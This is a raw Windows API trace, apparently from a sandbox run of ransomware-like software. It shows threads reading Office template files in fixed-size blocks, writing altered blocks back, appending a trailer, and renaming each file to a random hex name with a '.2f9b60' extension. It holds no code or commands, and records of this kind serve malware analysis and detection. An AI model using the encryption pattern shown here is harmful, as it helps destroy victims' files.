[0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x6d8334a4 [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x13dba4a [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x19c30559 [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x6dd977ea [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x1bd5d05a [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x73bc93a [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x56eaf7c0 [0148.742] RtlRandomEx (in: Seed=0x1d18f710 | out: Seed=0x1d18f710) returned 0x3acc0584 [0148.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202646b0 [0148.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264680 [0148.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0148.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0148.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dbd170 [0148.755] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.755] ReadFile (in: hFile=0x1ff0, lpBuffer=0x41dbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d18f780, lpOverlapped=0x0 | out: lpBuffer=0x41dbd170*, lpNumberOfBytesRead=0x1d18f780*=0x3c00, lpOverlapped=0x0) returned 1 [0148.757] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0148.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0148.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d900b0 [0148.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0148.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0148.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0148.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.759] WriteFile (hFile=0x1ff0, lpBuffer=0x41d900b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d18f780, lpOverlapped=0x0) [0197.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d900b0) returned 1 [0197.689] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.689] ReadFile (in: hFile=0x1ff0, lpBuffer=0x41dbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d18f780, lpOverlapped=0x0 | out: lpBuffer=0x41dbd170*, lpNumberOfBytesRead=0x1d18f780*=0x3c00, lpOverlapped=0x0) returned 1 [0198.832] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b6e0 [0198.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b6e0) returned 1 [0198.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43030190 [0198.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b6e0 [0198.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b710 [0198.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b710) returned 1 [0198.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.836] WriteFile (in: hFile=0x1ff0, lpBuffer=0x43030190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d18f780, lpOverlapped=0x0 | out: lpBuffer=0x43030190*, lpNumberOfBytesWritten=0x1d18f780*=0x3c00, lpOverlapped=0x0) returned 1 [0213.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43030190) returned 1 [0213.760] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0xfca6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.761] ReadFile (in: hFile=0x1ff0, lpBuffer=0x41dbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d18f780, lpOverlapped=0x0 | out: lpBuffer=0x41dbd170*, lpNumberOfBytesRead=0x1d18f780*=0x3c00, lpOverlapped=0x0) returned 1 [0213.762] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0xfca6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0213.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0213.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0213.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c20) returned 1 [0213.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43030190 [0213.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0213.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0213.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202677d0) returned 1 [0213.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0213.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0213.766] WriteFile (in: hFile=0x1ff0, lpBuffer=0x43030190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d18f780, lpOverlapped=0x0 | out: lpBuffer=0x43030190*, lpNumberOfBytesWritten=0x1d18f780*=0x3c00, lpOverlapped=0x0) returned 1 [0213.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43030190) returned 1 [0213.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f440 [0213.769] SetFilePointerEx (in: hFile=0x1ff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.770] WriteFile (in: hFile=0x1ff0, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x1d18f830, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x1d18f830*=0x156, lpOverlapped=0x0) returned 1 [0216.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0216.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ce0 [0216.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267ce0) returned 1 [0216.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20267ce0 [0216.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267cb0 [0216.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267bf0 [0216.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267bf0) returned 1 [0216.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9d370 [0216.348] sprintf (in: _Dest=0x1cd9d370, _Format="%c%c" | out: _Dest="07") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d372, _Format="%c%c" | out: _Dest="3b") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d374, _Format="%c%c" | out: _Dest="2c") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d376, _Format="%c%c" | out: _Dest="4e") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d378, _Format="%c%c" | out: _Dest="57") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d37a, _Format="%c%c" | out: _Dest="c1") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d37c, _Format="%c%c" | out: _Dest="a5") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d37e, _Format="%c%c" | out: _Dest="0e") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d380, _Format="%c%c" | out: _Dest="57") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d382, _Format="%c%c" | out: _Dest="cd") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d384, _Format="%c%c" | out: _Dest="3b") returned 2 [0216.348] sprintf (in: _Dest=0x1cd9d386, _Format="%c%c" | out: _Dest="fe") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d388, _Format="%c%c" | out: _Dest="bf") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d38a, _Format="%c%c" | out: _Dest="09") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d38c, _Format="%c%c" | out: _Dest="db") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d38e, _Format="%c%c" | out: _Dest="a6") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d390, _Format="%c%c" | out: _Dest="8f") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d392, _Format="%c%c" | out: _Dest="d8") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d394, _Format="%c%c" | out: _Dest="65") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d396, _Format="%c%c" | out: _Dest="38") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d398, _Format="%c%c" | out: _Dest="3c") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d39a, _Format="%c%c" | out: _Dest="04") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d39c, _Format="%c%c" | out: _Dest="d6") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d39e, _Format="%c%c" | out: _Dest="f0") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3a0, _Format="%c%c" | out: _Dest="dd") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3a2, _Format="%c%c" | out: _Dest="fd") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3a4, _Format="%c%c" | out: _Dest="27") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3a6, _Format="%c%c" | out: _Dest="a8") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3a8, _Format="%c%c" | out: _Dest="01") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3aa, _Format="%c%c" | out: _Dest="b6") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3ac, _Format="%c%c" | out: _Dest="22") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3ae, _Format="%c%c" | out: _Dest="97") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3b0, _Format="%c%c" | out: _Dest="7d") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3b2, _Format="%c%c" | out: _Dest="f3") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3b4, _Format="%c%c" | out: _Dest="50") returned 2 [0216.349] sprintf (in: _Dest=0x1cd9d3b6, _Format="%c%c" | out: _Dest="2b") returned 2 [0216.349] RtlInitAnsiString (in: DestinationString=0x1d18f8a8, SourceString="073b2c4e57c1a50e57cd3bfebf09dba68fd865383c04d6f0ddfd27a801b622977df3502b" | out: DestinationString="073b2c4e57c1a50e57cd3bfebf09dba68fd865383c04d6f0ddfd27a801b622977df3502b") [0216.349] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d18f878, SourceString="073b2c4e57c1a50e57cd3bfebf09dba68fd865383c04d6f0ddfd27a801b622977df3502b", AllocateDestinationString=1 | out: DestinationString="073b2c4e57c1a50e57cd3bfebf09dba68fd865383c04d6f0ddfd27a801b622977df3502b") returned 0x0 [0216.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318b080 [0216.350] wcscat (in: _Dest=0x4318afe0, _Source="073b2c4e57c1a50e57" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\073b2c4e57c1a50e57") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\073b2c4e57c1a50e57" [0216.350] wcscat (in: _Dest=0x4318afe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\073b2c4e57c1a50e57.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\073b2c4e57c1a50e57.2f9b60" [0216.350] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\073b2c4e57c1a50e57.2f9b60", NtPathName=0x1d18f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\073b2c4e57c1a50e57.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4312b260 Thread: id = 2302 os_tid = 0x1c5c [0148.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx")) returned 0x20 [0148.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx", dwFileAttributes=0x20) returned 1 [0148.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ec [0148.765] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x1defc00 | out: lpFileSize=0x1defc00*=115120) returned 1 [0148.765] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1c1ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.765] ReadFile (in: hFile=0x2ec, lpBuffer=0x1defb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1defbc8, lpOverlapped=0x0 | out: lpBuffer=0x1defb80*, lpNumberOfBytesRead=0x1defbc8*=0x4, lpOverlapped=0x0) returned 1 [0148.767] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0148.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264650 [0148.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0148.768] NtQuerySystemTime (in: CurrentTime=0x1defac0 | out: CurrentTime=0x1defac0*=132462177539950000) returned 0x0 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x566f9178 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0xd348b75 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x7f101011 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x132554f6 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x7d7c1547 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x1d2ddfee [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x162e560b [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x486341f4 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x5764e8cc [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x1df58c4a [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x34089db8 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x30a39839 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x552348b2 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x5fcc1275 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x7aa75289 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x4a53b4fe [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x1a0ea4a1 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x37397831 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x7ebd9060 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x3ed4d63 [0148.768] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x4da6d84d [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x1bdaab48 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x7e4c2cf7 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x24367aad [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x610d30c7 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x6e4fc72 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x55883073 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x136a1647 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x368b1e6 [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x2af86c6e [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x80fd5a [0148.769] RtlRandomEx (in: Seed=0x1defab0 | out: Seed=0x1defab0) returned 0x4b869746 [0148.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264530 [0148.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264590 [0148.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645c0) returned 1 [0148.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0148.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dcc1b0 [0148.788] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.788] ReadFile (in: hFile=0x2ec, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1defb20, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x1defb20*=0x3c00, lpOverlapped=0x0) returned 1 [0148.789] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0148.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264620) returned 1 [0148.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ee130 [0148.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264620 [0148.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0148.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645c0) returned 1 [0148.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.791] WriteFile (hFile=0x2ec, lpBuffer=0x201ee130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1defb20, lpOverlapped=0x0) [0185.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0185.839] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.839] ReadFile (in: hFile=0x2ec, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1defb20, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x1defb20*=0x3c00, lpOverlapped=0x0) returned 1 [0187.221] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ed0 [0187.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ed0) returned 1 [0187.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4295ae50 [0187.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ed0 [0187.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc60 [0187.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc60) returned 1 [0187.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.225] WriteFile (in: hFile=0x2ec, lpBuffer=0x4295ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1defb20, lpOverlapped=0x0 | out: lpBuffer=0x4295ae50*, lpNumberOfBytesWritten=0x1defb20*=0x3c00, lpOverlapped=0x0) returned 1 [0205.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ae50) returned 1 [0205.663] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x185b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.663] ReadFile (in: hFile=0x2ec, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1defb20, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x1defb20*=0x3c00, lpOverlapped=0x0) returned 1 [0205.664] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x185b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0205.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0205.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4295ae50 [0205.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0205.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0205.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0205.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.668] WriteFile (in: hFile=0x2ec, lpBuffer=0x4295ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1defb20, lpOverlapped=0x0 | out: lpBuffer=0x4295ae50*, lpNumberOfBytesWritten=0x1defb20*=0x3c00, lpOverlapped=0x0) returned 1 [0215.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ae50) returned 1 [0215.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431056e0 [0215.057] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.057] WriteFile (in: hFile=0x2ec, lpBuffer=0x4310e890*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x1defbd0, lpOverlapped=0x0 | out: lpBuffer=0x4310e890*, lpNumberOfBytesWritten=0x1defbd0*=0x15c, lpOverlapped=0x0) returned 1 [0218.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ce0 [0218.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9ce0) returned 1 [0218.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431adb20 [0218.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ce0 [0218.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9cb0 [0218.934] RtlFreeHeap 